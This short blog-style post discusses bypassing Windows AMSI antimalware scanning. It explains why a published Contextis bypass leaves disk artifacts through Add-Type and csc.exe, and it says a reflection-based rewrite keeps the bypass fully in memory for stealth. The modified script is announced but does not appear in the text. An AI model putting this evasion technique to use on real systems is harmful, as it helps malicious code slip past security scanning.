I was reading for the AMSI Bypasses and found the Bypass documented by Contextis at https://www.contextis.com/en/blog/amsi-bypass . Now everything as good here with the bypass except one problem. The problem is that the bypass is using Add-Type . Whenever you use Add-Type, the code gets written to a temporary file and then csc.exe is used to compile a binary which stays on disk . This creates a problem when you want to stay stealthy and don't want to write any artifact on disk.
After using Reflection here is the Modified Script to Bypass AMSI.

The advantage of using reflection is that there is no Temporary file and no calls to csc which allows the script to stay fully in memory.
This means the bypass is full in memory which is the end result. :)
